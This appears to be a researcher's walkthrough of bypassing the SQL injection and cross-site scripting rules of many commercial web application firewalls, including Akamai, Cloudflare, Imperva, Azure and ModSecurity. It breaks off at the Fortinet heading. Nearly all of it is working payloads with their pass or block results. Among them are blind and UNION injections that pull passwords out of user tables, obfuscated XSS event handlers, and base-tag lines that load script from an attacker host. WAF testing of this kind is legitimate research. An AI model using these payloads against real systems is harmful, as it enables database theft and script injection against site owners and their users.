Breaking the most popular Web Application Firewalls in the market
This is a walk-through that shows how to bypass the SQL injection and cross-site scripting rules of the following Web Application Firewalls:
By seeing the process of how I broke the rules of these WAFs, you'll gain the necessary skills to evaluate the security of the rules of any WAF/IDS.
In this post you'll find 4 types of bypasses for each WAF:
- Detection phase (vectors to see if the page is vulnerable to sqli)
- Boolean-based injections
- Blind time-based injections for MySQL, PostgreSQL and MSSQL
- Exploitation phase
- UNION-based injections
- Blind boolean-based injections
Sometimes there are cross-site scripting vectors as well.
At the very end of the post, there is a pseudo-universal SQL injection bypass that works against a great number of multiple WAFs.
If you're having trouble bypassing a firewall, reach me out at X @ruben_v_pina or at ruben@nzt-48.org and I'll see if I can break it. I'll add id to the post as well.
Last year (in 2023), I tested some of the most popular Web Application Firewalls in the market and it turned out to be very easy to break almost all of them. This year, bypassing the WAFs was much more challenging than last year, mainly due to the fact that the bypasses consisted in fooling code parsers and wasn't solely a matter of character encoding nor code obfuscation. I hope you'll find this post to be more interesting than the previous one.
Don't forget to URL encode symbols & # %
Akamai
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and 0 < '1
200 OK - BYPASSED
?sqli=1' and '1
200 OK - BYPASSED
UNION based injection
?sqli=1' and '0' union select password,1,1,1 from users
403 FORBIDDEN
Comments are considered safe since they're not instructions
?sqli=1' and '0' /* union select password,1,1,1 from users limit 1 */
200 OK
?sqli=1' and ''='/*' union select password,1,1,1 from users limit 1 /**/ -- -
200 OK - BYPASSED
Boolean blind-based
?sqli=1' and (select password from accounts limit 1)
403 FORBIDDEN
Use json_arraygg() to concatenate all entries into a single row
?sqli=1' and (select json_arrayagg(password) from accounts) -- -
200 OK
Use mid() to extract the string character by character:
?sqli=1' and (select mid(json_arrayagg(password),1,1) from accounts) = 'A
403 FORBIDDEN
mid() is being blocked so I used LIKE to find out the first character of the string and so on:
?sqli=1' and (select json_arrayagg(password) from accounts) LIKE 'A%25
200 OK - BYPASSED
Blind time-based injections
MySQL
1'AND'/*'=sleep(4)or'X
PostgreSQL
1'and'/*'!='--%20/*'and pg_sleep(4)is not null and ''='*/
MSSQL
1'and'/*'!='-- /*'waitfor delay'00:00:04'/**/-- a
Cross-site scripting
<input id="x" onfocus="" autofocus />
403 FORBIDDEN
Get rid of spaces between id and onfocus attributes:
<input id="x"onfocus="" autofocus />
403 FORBIDDEN
Observe! Close the tag before the dangerous attributes, the attributes appear to be outside of the tag so it means that it is not part of the markup, resulting in a 200.
<input > id="x"onfocus="" autofocus />
200 OK
Use Brumens method: In an attempt to detect and block all types of encoding, the WAF finds a > and decodes it so it reads a >, thinking that the tag is being closed, while in reality the encoding doesn't work in this context so the tag is not closed; the attributes are still inside the tag.
<input > id="x"onfocus="" autofocus />
200 OK
Adding code into the event handler triggers 403
<input > id="x"onfocus="alert()" autofocus />
403 FORBIDDEN
Break the string with invalid escapes:
<input > id="x"onfocus="window['\a\l\ert']()" autofocus />
200 OK - BYPASSED
Alternative bypass using type=image, just for the sake of curiosity:
<input type=image > id="x"onerror="window['\a\l\ert']()" src />
403 FORBIDDEN
Encode a character with an HTML entity
<input type=image > id="x"onerror="window['\a\l\ert']()" src />
403 FORBIDDEN
Pad with 31 zeroes:
<input type=image > id="x"onerror="window['\a\l\ert']()" src />
200 OK - BYPASSED
More cross-site scripting bypasses
In an attempt to detect and block characters that are encoded, the WAF tries to decode input in all possible ways.
<input /> id=""onfocus="window['\a\l\ert']()" />
200 OK - The input tag is closed right away, the attributes are outside of the tag so they're not part of the markup and are considered safe.
Try to place the closing angle-bracket > inside an attribute and see if the WAF thinks the tag is being closed:
<input x="/>" id=""onfocus="window['\a\l\ert']()" />
403 FORBIDDEN
The WAF knows the angle bracket > is the value of an attribute and knows the tag is not being closed, so it gives a 403 for the dangerous attributes inside the tag.
<input x="" /> " id=""onfocus="window['\a\l\ert']()" />
200 OK - BYPASSED
When the WAF finds the " entity it gets decoded into a double-quote, thinking that the attribute is being closed although it is not because the encoding doesn't work in this context. Next, it finds the angle-bracket />, thinking it is closing the tag when in reality it is still inside the attribute's value; the tag isn't really closed so the attributes remain inside the tag while the WAF thinks they're outside, resulting in a 200.
Variations
Angle bracket > inside attribute
<input x="" /> " id=""onfocus="window['\a\l\ert']()" /> Double-quote hex entity
<input x="" /> " id=""onfocus="window['\a\l\ert']()" /> Double-quote decimal entity
<input x="%2522 /> " id=""onfocus="window['\a\l\ert']()" /> Double-quote double encoding
<input x='' /> ' id=""onfocus="window['\a\l\ert']()" /> Apostrophe named entity
<input x='' /> ' id=""onfocus="window['\a\l\ert']()" /> Apostrophe hex entity
<input x='' /> ' id=""onfocus="window['\a\l\ert']()" /> Apostrophe decimal entity
<input x='%2527; /> ' id=""onfocus="window['\a\l\ert']()" /> Apostrophe double-encoding
Just close the tag
<input /> id=""onfocus="window['\a\l\ert']()" /> Named entity
<input /> id=""onfocus="window['\a\l\ert']()" /> Hex entity
<input /> id=""onfocus="window['\a\l\ert']()" /> Dec entitiy
<input /%253e; id=""onfocus="window['\a\l\ert']()" /> Double encoding
Symantec (Broadcom)
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and '1
200 OK - BYPASSED
?sqli=1''
?sqli=1'
200 OK - BYPASSED
?sqli=1' and TRUE -- -
200 OK - BYPASSED
PostgreSQL
?sqli=1' and '1' ilike '1
?sqli=1' and 1 NOTNULL -- TRUE
?sqli=1' and null NOTNULL-- FALSE
MySQL
?sqli=1' and (values row(1)) -- TRUE
?sqli=1' and (values row(0)) -- FALSE
UNION based injection
Numeric
?sqli=-1 union select password,1,1,1 from users
403 FORBIDDEN
?sqli=-1 /* union select password,1,1,1 from users */
200 OK
?sqli=-1 and '0'='/*' union select password,1,1,1 from users limit 1 /**/
403 FORBIDDEN
Comment-out the comment with # and terminate it with a new-line
?sqli=-1 %23 /* %0A union select password,1,1,1 from users limit 1 -- */
200 OK - BYPASSED (# comments only work in MySQL)
Quoted
?sqli=-1' /* union select password,1,1,1 from users */
403 FORBIDDEN
?sqli=-1' -- /* union select password,1,1,1 from users */
200 OK
?sqli=-1' -- /* %0A union select password,1,1,1 from users */
403 FORBIDDEN
?sqli=-1' AND '-- /*' union select password,1,1,1 from users */
403 FORBIDDEN
?sqli=-1' AND /* '-- /*' union select password,1,1,1 from users */
200 OK
?sqli=-1' AND '/*' = '-- /*' union select password,1,1,1 from users -- */
200 OK - BYPASSED
PostgreSQL
?sqli=-1' -- /* %0D union select 1,password,'1','1' from users limit 1 -- */
200 OK
Blind time-based injections
MySQL
1'and'/*'!='-- /*'and sleep(4)='*/
PostgreSQL
1'and'/*'!='-- /*'and pg_sleep(4)is not null and ''='*/
MSSQL
1'and'/*'!='-- /*'waitfor delay'00:00:04'/**/-- a
Cross-site scripting
<img src onerror="alert()" />
403 FORBIDDEN
<img src > onerror="alert()" />
200 OK - The firewall has a parser
<img src > onerror="" />
200 OK
<img src > onerror="alert()" />
403 FORBIDDEN
Try HTML entities
<img src > onerror="alert()" />
403 FORBIDDEN
Pad with 7 zeroes
<img src > onerror="alert()" />
200 OK - BYPASSED
Amazon Cloudfront
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and '1
403 FORBIDDEN (This one usually never fails)
Got away with bitwise and arithmetic operations:
?sqli=1'-'1
?sqli=1'-'0
200 OK
?sqli=1'%26'1
?sqli=1'%26'0
200 OK
MySQL and SQLite
?sqli=1'
?sqli=1''
200 OK
UNION exploitation phase
?sqli=-1' union select password,1,1,1 from users limit 1 -- -
403 FORBIDDEN
Tried some random words between UNION and SELECT
?sqli=-1' union bla bla select password,1,1,1 from users limit 1 -- -
200 OK
Substitute with valid keywords:
?sqli=-1' union VALUES ((select password from users limit 1), 1, 1, 1)-- PostgreSQL, SQLite
200 OK - BYPASSED
?sqli=-1' union VALUES ROW((select password from users limit 1), 1, 1, 1) -- MySQL
200 OK - BYPASSED
Boolean blind-based
The same trick of adding words between AND and SELECT can be used:
MySQL
?sqli=1' AND (VALUES ROW((select mid(password,1,1) from users limit 1)))='A
200 OK - BYPASSED
PostgreSQL
?sqli=1'AND(VALUES%20--%20not(%0d((select password from users limit 1)like'A%25'))or'0
200 OK - BYPASSED
Blind time-based injections
MySQL
?sqli=1'and(values row((sleep(4))))!='0
?sqli=1' and!(VALUES ROW((sleep -- lo%0a(4))))or'0
PostgreSQL
?sqli=1'AND(pg_sleep -- not(%0d(4)::char='')or'0
?sqli=1'AND(VALUES -- not(%0d((pg_sleep(4)::char ='')))or'0
MSSQL
?sqli=1'waitfor -- lo %0d delay'00:00:04' --
Cross-site scripting
Overall, this is my favorite XSS bypass:
<img src onload=
200 OK
<img src onload=""
403 FORBIDDEN
<img src onload=a
403 FORBIDDEN
I kept trying different values until I used %ff and it yielded a 200.
<img src onload=%ff
200 OK
<img src onload=%ffA
403 FORBIDDEN
Kept trying until the following sequence was found
<img src onload=%ff%00%ff
200 OK
For some strange reason, the %ff%00%ff sequence terminates the string and the WAF stops scanning, you can add whatever you want afterwards:
<img src onload=%ff%00%ffAAA onerror=alert() onclick=alert() onmouseover=alert() />
200 OK - BYPASSED
Cisco
These are last year's bypasses. For some reason cisco.com is now protected by Akamai, so I cannot test their WAF anymore and I don't know if the vector is still functional. It is fun though, because it is a WHERE bypass.
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and '1
200 OK - BYPASSED
Exploitation phase
?sqli=-1 union select password from users where id=1
403 FORBIDDEN
I saw no way around UNION so I went for a boolean blind-based injection
?sqli=1 and (select password from users)
403 FORBIDDEN
Break the query with comments and new-lines
?sqli=1 and (%0a select password %0a from %23 aaa %0a users)
200 OK
?sqli=1 and (%0a select substring(password,1,1) %0a from %23 aaa %0a users LIMIT 1)='A'
403 FORBIDDEN
?sqli=1 and (%0a select TRUE %0a from %23 a %0a users WHERE password REGEXP '^A')
403 FORBIDDEN
Bypass WHERE
?sqli=1 and (CASE WHEN (%0a select json_arrayagg(password) %0a from %23 aaa %0a users) LIKE 'A%25') THEN TRUE ELSE FALSE END -- -
200 OK - BYPASSED
(I learned this from Reiners: https://websec.wordpress.com/category/sqli/)
Cross-site scripting
<a href="javascript:window['alert']()"> AAAA...
403 FORBIDDEN
<a href="ja%09vasc%09rip%0at:window['\a\l\ert']()> AAAA...
200 OK - BYPASSED - Broken javascript protocol is still valid for the browser
Oracle
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and 0 < '1
200 OK
?sqli=1' and TRUE -- -
200 OK
?sqli=1' and '1' like '1
403 FORBIDDEN
Avoid spaces:
?sqli=1'and'1'like'1
200 OK
?sqli=1' not like '0
?sqli=1' ilike '1 PostgreSQL
?sqli=1' rlike '1 MySQL
200 OK
MySQL and SQLite
?sqli=1'
?sqli=1''
200 OK
UNION based exploitation
?sqli=1' and '0' union select password,1,1,1 from users limit 1
403 FORBIDDEN
Comments are inoffensive
?sqli=1' and '0' /* union select password,1,1,1 from users limit 1 */
200 OK - The firewall has a parser
?sqli=1' and ''='/*' union select password,1,1,1 from users limit 1 /**/
200 OK - BYPASSED
Boolean blind based exploitation
?sqli=1' and (select password
200 OK
?sqli=1' and (select password from accounts limit 1)
403 FORBIDDEN
?sqli=1' and (select json_arrayagg(password) from accounts) LIKE 'a%25
200 OK - BYPASSED
Blind time-based injections
MySQL
?sqli=1'and'/*'=(sleep(4))or'*/
PostgreSQL
?sqli=1'and''!='/*'and(pg_sleep(10)is not null)or''='*/
MSSQL
?sqli=1'and''!='/*'waitfor delay'00:00:04'-- */
Cross-site scripting
<input onfocus="" autofocus />
403 FORBIDDEN
<input > onfocus="" autofocus/>
200 OK - The firewall has a parser.
<input > onfocus="" autofocus />
200 OK
<input > onfocus="alert()" autofocus />
403 FORBIDDEN
<input > onfocus="alert()" autofocus />
403 FORBIDDEN
Pad with 31 zeroes:
<input %253e onfocus="alert()" autofocus />
200 OK - BYPASSSED
F5
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and 'a'='a
200 OK
?sqli=1' and '1
?sqli=1'%26'1
200 OK
PostrgreSQL
?sqli=1' and 'true
200 OK
MySQL, SQLite
?sqli=1' and '4blabla
200 OK
UNION based exploitation
?sqli=-1' union select password from users limit 1
403 FORBIDDEN
?sqli=-1' -- AAA %0A union select password from users limit 1
200 OK - BYPASSED
?sqli=-1' -- AAA %0A union select password,1,1,1,1 from users limit 1
200 OK - BYPASSED
Try with 6 columns:
?sqli=-1' -- AAA %0A union select password,1,1,1,1,1 from users limit 1
403 FORBIDDEN (I saw no way around it so I went for boolean blind based)
Boolean blind based
?sqli=1' and (select substring(password,1,1) from users where id=1)='A
403 FORBIDDEN
?sqli=1' and (select TRUE from users where id=1 and password like 'A%25')
403 FORBIDDEN
Get rid of some spaces:
?sqli=1' and (select(TRUE)from users where id=1 and password like'A%25')
200 OK
Now comment out the trailing quote:
?sqli=1' and (select(TRUE)from users where id=1 and password like'A%25') -- -
403 FORBIDDEN
?sqli=1' and (select(TRUE)from users where id=1 and password like'A%25') AND '1
200 0K - BYPASSED
Blind time-based injections
MySQL
?sqli=1'and!sleep(%23%a0%0a10)or'
PostgreSQL
?sqli=1' and pg_sleep-- lo %0d (4)::char!='0
MSSQL
?sqli=1'waitfor-- lo %0ddelay'00:00:04'-- -
Cross-site scripting
I couldn't bypass the XSS rules.
Imperva
SQL injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and '1
200 OK
?sqli=1''
200 OK
PostgreSQL
?sqli=1' and '1' ~~ '1
?sqli=1' and 1 is not null -- -
Exploitation phase
I couldn't bypass UNION so I went for a boolean blind injection
Only MySQL
?sqli=1' AND (select mid(password,1,1) from users limit 1)='A
403 FORBIDDEN
Replace AND with &&
?sqli=1' %26%26 (select mid(password,1,1) from users limit 1)='A
200 OK - BYPASSED
?sqli=1' AND (SELECT
403 FORBIDDEN
Insert words between AND and SELECT
?sqli=1' AND (values row((SELECT password)))
200 OK
?sqli=1' and (values row((select password from users limit 1)))
403 FORBIDDEN
Avoid spaces between SELECT and FROM
?sqli=1' and (values row((select(password)from users limit 1)))
200 OK
?sqli=1' and (values row((select(password)from users limit 1))) LIKE 'a%25
200 OK - BYPASSED - MySQL
?sqli=1' and (values(row((select(password)from users limit 1)))) LIKE 'a%25
200 OK - BYPASSED - PostgreSQL
Blind time-based injection
MySQL
?sqli=1'&&' /*'=sleep(/**/4)or'0
PostgreSQL
?sqli=1' and pg_sleep -- lo %0d (4) is not null or'0
MSSQL
?sqli=1' waitfor -- LO %0d delay'00:00:04' -- -
Cross-site scripting
This one was the XSS filter that took me the longest to bypass. In essence, it works by the fact that characters can be encoded with unicode using different syntax:
a = \u0061, \u{61}, \u{061}, \u{000000061}
A lot of WAFs are not aware of curly braces notation.
<input onfocus="['alert']" autofocus />
403 FORBIDDEN
Invalid escapes:
<input onfocus="['\a\l\ert']" autofocus />
2OO OK
<input onfocus="['\a\l\ert']()" autofocus />
403 FORBIDDEN
Try grave accents:
<input onfocus="['\a\l\ert']``" autofocus />
403 FORBIDDEN
HTML entities:
<input onfocus="['\a\l\ert']``" autofocus />
200 OK
Add window object
<input onfocus="window['\a\l\ert']``" autofocus />
403 FORBIDDEN
Unicode encoding:
<input onfocus="w\u{69}ndow['\a\l\ert']``" autofocus />
403 FORBIDDEN
HTML entity the curly bracket of the unicode encoding:
<input onfocus="w\u{69}ndow['\a\l\ert']``" autofocus />
200 OK - BYPASSED
Wordfence
Wordfence is a free plugin for WordPress. It turned out to be pretty good because I couldn't find a bypass for the XSS filters.
SQL Injection
Detection phase
?sqli=1' and '1'='1
UNION based exploitation phase
?sqli=-1' union select password,1,1,1 from users limit 1 -- -
403 FORBIDDEN
Place a non-breaking-space before LIMIT and you have a bypass:
?sqli=-1' union select password,1,1,1 from users %A0 limit 1 -- -
200 OK - BYPASSED (MySQL, SQLite)
You can do the same thing for boolean blind based injections:
?sqli=1' and (select substring(password,1,1) from users %A0 limit 1)='A
200 OK - BYPASSED
You can break the parser too:
?sqli=-1' union select password,1,1,1 from users limit 1 -- -
403 FORBIDDEN
?sqli=-1' /* union select password,1,1,1 from users limit 1 -- */
403 FORBIDDEN
?sqli=-1' and ''='/*' union select password,1,1,1 from users limit 1 /* */
200 OK - BYPASSED
Blind-based:
?sqli=1' and ''!='/*' and (select password from users limit 1) LIKE 'A%25' -- */
200 OK - BYPASSED
Blind time-based injections
MySQL
?sqli=1'and'1/*' and!(sleep(4))/**/or'0
PostgreSQL
?sqli=1'and''!='1/*'and(pg_sleep(10)is not null)/**/or'0
MSSQL
?sqli=1'and'/*'!='--'waitfor delay '00:00:10' /**/-- -
Cross-site scripting
I found the XSS filters to be particularly good, as for now no bypasses have been found.
Cloudflare
It was very blatant that Cloudflare was the worst WAF, it is very bad indeed. If you use it you have to configure it well because with the out-of-the-box configuration bypassing it is a joke. It is a good thing Cloudflare doesn't charge for this service.
The following bypass works in some Cloudflare default configurations:
?sqli=-1' union select 1,1,password,1 from users limit 1 -- -
403 FORBIDDEN
?sqli=1' union(select 1,1,password,1 from users limit 1)-- -
200 OK - BYPASSED
More bypasses
Conditional comments (only MySQL)
?sqli=1' and (select mid(password,1,1) /*! from */ users /*! limit */) = 'A
Single-line comment and newline:
?sqli=1' union -- AAA %0A select password from users WHERE id='1
Boolean-blind based
?sqli=1' and (select password -- AAA %0A from users limit 1) LIKE 'A%25
Blind time-based injections
MySQL
?sqli=1'and('/* -- '=sleep(10))/**/and'1
PostgreSQL
?sqli=1'and'/* -- '!=pg_sleep(10)::char/**/and'1
MSSQL
?sqli=1'and'/*'!='--'waitfor delay '00:00:10' /**/-- -
Cross-site scripting
Curly braces unicode encoding did the trick.
<img onerror="top['loc\u{61}tion'] = 'javascript:alert\u{28})'" src />
200 OK - BYPASSED
<img/onerror="top['loca'%2b'tion']='javas\u{063}ript:alert\u{60}`'" src=x>
200 OK
<a href="%02%02ja%09v%09a%09s%0cc%0crip%26NewLine;t:alert()"> AAA...
403 FORBIDDEN
Bypass with padding in HTML entities:
<a href="%02%02ja%09v%09a%09s%0cc%0crip%26NewLine;t:alert%26lpar;%26%23x000000000000000029;"> AAA...
200 OK - BYPASSED
OWASP ModSecurity Core Rule Set
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and '1
403 FORBIDDEN
MySQL:
?sqli=1' and (values row(1))-- TRUE response
?sqli=1' and (values row(0))-- FALSE response
SQLite:
?sqli=1' and (values (1))-- TRUE response
?sqli=1' and (values (0))-- FALSE response
MySQL and SQLite:
?sqli=1' ERROR response
?sqli=1'' NO ERROR
PostgreSQL:
?sqli=1' and '1' ~~ '1
403 FORBIDDEN
?sqli=1' and '1' !~~ '1
403 FORBIDDEN
?sqli=1' and '1' ~ '1
403 FORBIDDEN
?sqli=1' and '1' ~~* '1
200 OK
?sqli=1' and '1' !~~* '1
200 OK
?sqli=1' and '1' ~* '1
200 OK
Exploitation phase
I wanted to see if it was possible to perform queries without having to use SELECT and FROM; this is how the bypass of ModSecurity became a reality. Last year (in 2023) I tried to break ModSecurity with no success. In 2022 Yahoo and Intigriti helped OWASP to organize a 3-week bug bounty program for ModSecurity, so it got heavily tested. This year I was surprised to find a SQL injection bypass that makes it possible to exfiltrate any desired data from the database.
When I made the "no SELECT FROM" vector work, I had the hypothesis that by tweaking it out it was going to be able to bypass every firewall it encountered. Shortly after, I concluded that it was not going to be possible to break Microsoft Azure with it, but after tweaking it out some more it succeeded to defeat Azure and every other firewall that was tested, except for Sucuri which I'm still trying to break.
MySQL
The TABLE instruction displays an entire table. It is not possible to use WHERE to filter rows. LIMIT and ORDER BY can be used.
Since WHERE cannot be used to evaluate conditions and match characters, ORDER BY is going to be used. By placing a condition in ORDER BY, if the character is matched the table is sorted, if it doesn't match the order stays the same. The only way to see if the character was matched is to see if the table was ordered or not.
Add LIMIT 1 to return only the top row. If it is equal to (-10, 310, 310, 310) then you can know if the condition was matched.
?sqli=1' and (VALUES ROW(-10, 310, 310, 310) UNION (TABLE users LIMIT 1) ORDER BY IF( column_2 REGEXP '^A', NULL, column_0) LIMIT 1) != (-10, 310, 310, 310) -- -
200 OK - BYPASSED
It is worth noticing that the column names have default names because of the ROW constructor (column_0, column_1, ... ) so you don't need to know the real names of the columns you are extracting, which is very convenient, specially if information_schema cannot be read. It can also save time in blind extractions.
It is also worth noticing that even though the injection is not obfuscated at all, still the WAF doesn't detect it.
PostgreSQL
In PostgreSQL, it is not possible to have conditionals within ORDER BY if the query has an UNION clause.
The solution turned out to be very simple: if you know the number of columns in a table, it is possible to compare an entire row against a set of values. The comparison is made like this:
This is the row that's going to be extracted:
For user with id = 1 , we use 1 as the first value since id is the first column, then characters have to be extracted sequentially one by one by comparing the strings. The columns also have to be extracted one by one in sequential order (because of the way row comparison operators work) .
?sqli=1' and ((1,'a','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'b','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'aa','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ab','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ac','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ad','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'ae','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'ada','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adb','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'adm','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'adn','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'adma','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admb','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admi','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admj','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admia','~','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admib','~','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','~','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','0','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','1','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','2','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','3','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','21','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','22','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','211','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','212','~') < (table users limit 1))-- - TRUE
?sqli=1' and ((1,'admin','213','~') < (table users limit 1))-- - FALSE
?sqli=1' and ((1,'admin','2121','~') < (table users limit 1))-- - TRUE
... TRUE
?sqli=1' and ((1,'admin','21232f297a57a5a743894a0e4a801fc3','~') < (table users limit 1))-- -
...
The ~ (tilde) is used because it has the highest ASCII value (0x7e), it has to be done like so because the fields in both sets are not compared correspondingly (as illustrated in the MySQL manual https://dev.mysql.com/doc/refman/8.4/en/comparison-operators.html#operator_less-than).
However this injection will yield a 403:
?sqli=1' and ((1,'admin','21232f297a57a5a743894a0e4a801fc3','~') < (table users limit 1))-- -
403 FORBIDDEN
Use dollar-quoted strings:
?sqli=1' and ((1, $bla$admin$bla$, $bla$21232f297a57a5a743894a0e4a801fc3$bla$, $bla$~$bla$) < ANY(table users limit 1))-- -
200 OK - BYPASS!
(https://www.postgresql.org/docs/current/sql-syntax-lexical.html#SQL-SYNTAX-DOLLAR-QUOTING)
Notice the ANY keyword before the table query. Adding a word between the < and the table query bypasses the filter, the ANY keyword makes valid syntax and it doesn't change the behavior of the query.
Blind time-based injections
MySQL
?sqli=1' and!(values row(sleep -- %0a (10)))or'0
PostgreSQL
?sqli=1'and pg_sleep -- lo %0d (10)::char='
MSSQL:
?sqli=1'-- lo %0d and not 0 like'-- 'waitfor delay-- lo %0d'00:00:10'-- -
Cross-Site Scripting
I don't think ModSecurity's XSS rules can be bypassed.
Microsoft Azure
SQL injection
Detection phase
Go for arithmetics:
?sqli=1'-'1 403 FORBIDDEN
?sqli=1'*'1 403 FORBIDDEN
?sqli=1'/'1 403 FORBIDDEN
?sqli=1'|'1 403 FORBIDDEN
?sqli=1'^'1 403 FORBIDDEN
?sqli=1'%26'1 403 FORBIDDEN
?sqli=1'' 403 FORBIDDEN
?sqli=1'%2b'0
200 OK so lucky
Exploitation phase
MySQL
ORDER BY is being blocked. ORDER BY is also useless in PostgreSQL, so I had to find another solution.
I tried ModSecurity's PostgreSQL bypass, I tweaked it out a little bit and got a bypass:
?sqli=1' and ((1, 'admin', 'a', '~') < ANY (TABLE users LIMIT 1))
403 FORBIDDEN
?sqli=1' and ((TABLE users LIMIT 1) > ROW(1, 'admin', 'a', '~'))
403 FORBIDDEN
?sqli=1' and ((TABLE users LIMIT 1) > ROW(1, 0x61646d696e, 0x61, 0x7e))
403 FORBIDDEN
?sqli=1' and ((TABLE users LIMIT 1) > ROW(1, 0b0110000101100100011011010110100101101110, 0b01100001, 0b01111110))
200 OK!
Comment out trailing quote:
?sqli=1' and ((TABLE users LIMIT 1) > ROW(1, 0b0110000101100100011011010110100101101110, 0b01100001, 0b01111110)) || 0 div '1
200 OK
PostgreSQL
Logical operands are blocked. Cast the boolean result to number 1 or 0 and then add it to the parameter.
?sqli=1' + ((1,$$admin$$,$$A$$,$$$$) < ANY(table users limit 1))::int+'0
200 OK
Don't forget to URL encode the + sign to %2b
Cross-site scripting
I find it hard to believe that Azure's XSS rules can be bypassed without the introduction of new browser features and new technologies.
Radware
SQL injection
Detection phase
Hard to find, got away with arithmetic and bit-wise operations:
?sqli=1'-'1
?sqli=1'-'0
?sqli=1'%26'1
?sqli=1'%26'0
MySQL and SQLite:
?sqli=1'
?sqli=1''
Exploitation phase
I went for ModSecurity's bypass which doesn't use SELECT and FROM. The keywords LIMIT and ORDER BY are blocked, this was easy to circumvent by commenting everything out with /* and then commenting out the comment with --
?sqli=1' %26%26 (values row(0,310,310,310) union -- AAA /*%0a (table users order by case when "/*" then null end limit 1) except values row(0,0,0,0) order by case when not column_2 regexp '^a' then column_0 end limit 1) != (0, 310, 310, 310)-- -
It was strange that by adding 'except values row(0,0,0,0)' before ORDER BY, I managed to get a bypass. Somehow a pattern is being broken.
PostgreSQL
I used Azure's/ModSecurity's bypass, without the need of hex/binary encoding and without using dollar-quoted strings:
?sqli=1' %2b ((1, 'admin','2721232f297a57a5a743894a0e4a801fc3','A') < (TABLE users LIMIT 1))::int%2b'0
200 OK
Blind time-based injection
MySQL
?sqli=1'%26%26!(sleep -- lo ) %0a(10))or'0
By opening a parenthesis before the word sleep and then pretending to close it by writing a closing parenthesis in the commented zone, the WAF thinks that the parentheses only contain the word sleep and it doesn't look like a function call since it is not followed by () and there are no arguments, only text follows.
PostgreSQL
?sqli=1'and pg_sleep -- lo %0d(10)::char='
MSQQL weird find, add 185 bytes and get a 200.
?sqli=1%27%20--%20blablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablablabla%0d%20waitfor%20--%20lo%20%0ddelay%2700:00:10%27--%20-
Indusface
SQL Injection
Detection phase
?sqli=1' and '1'='1
403 FORBIDDEN
?sqli=1' and '1' < '2
200 OK
?sqli=1' and '1
?sqli=1' and '1' like '1
200 OK
Exploitation phase
Since this WAF is AI powered, instead of finding a bypass by gradually changing the injection, I used ModSecurity's/Azure's bypass right away (the one which doesn't use SELECT and FROM), to prevent the AI to start learning my bypasses. I thought it would be very likely that this vector would evade the filter in one go and so it did.
Break the filter by avoiding the use of SELECT and FROM:
MySQL
?sqli=-1' and (VALUES ROW(0,310,310,310) UNION (TABLE users LIMIT 1,1) ORDER BY case when not column_2 REGEXP '^A' then column_0 end LIMIT 1) != (0,310,310,310)-- -
200 OK
PostgreSQL
?sqli=1' and ((1, 'admin', 'A', '~') < (TABLE users LIMIT 1)) -- -
403 FORBIDDEN
?sqli=1' and ((1, 'admin', 'A', '~') < ANY (TABLE users LIMIT 1)) -- -
200 OK
Cross-site scripting
These bypasses don't work in all contexts and some require user interaction. The trick to break the filter is by not closing the HTML tags, let it get closed by other tags ahead in the code.
Hijack script fetching with base. Bypass by not closing the tag
<base href="//attacker.com/xss.js/" a="
Bypass <a> by not closing it and using a broken javascript protocol
<a href="j%0aav%0aasc%0arip%0at:%26bsol;u%26lcub;061}lert``" a="
Hijack form submit.
<form action="j%0aav%0aasc%0arip%0at:%26bsol;u%26lcub;061}lert``" a="
Only Firefox, no user interaction:
<embed src="j%0aav%0aasc%0arip%0at:%26bsol;u%26lcub;061}lert``" a="
<object%20data="j%0aav%0aasc%0arip%0at:%26bsol;u%26lcub;061}lert``" a="
Barracuda
SQL injection
Detection phase
?sqli=1' and '1
?sqli=1' and '1' like '1
Exploitation phase
?sqli=1' and (select -- aaa %0A password from users limit 1) like 'A%25
200 OK
Blind time-based injections
MySQL
?sqli=1'&&!sleep(4)or'0
PostgreSQL
?sqli=1'and(select -- %0a pg_sleep(4)::char)!='0
MSSQL
?sqli=1'waitfor delay'00:00:04'; select 1 -- -
Cross-site scripting
Only partial bypasses were found
Broken javascript protocol will do:
?xss=<a href="ja%0av%0aasc%0arip%0at:alert()">AAAAAAA...
Hijack script fetching with base
<base href="//attacker.com/xss.js/" />
Hijack form submission:
<input type=submit formaction="j%0aav%0aasc%0arip%0at:alert()" value="Click me"/>
Fortinet Fortiguard
SQL injection
Detection phase
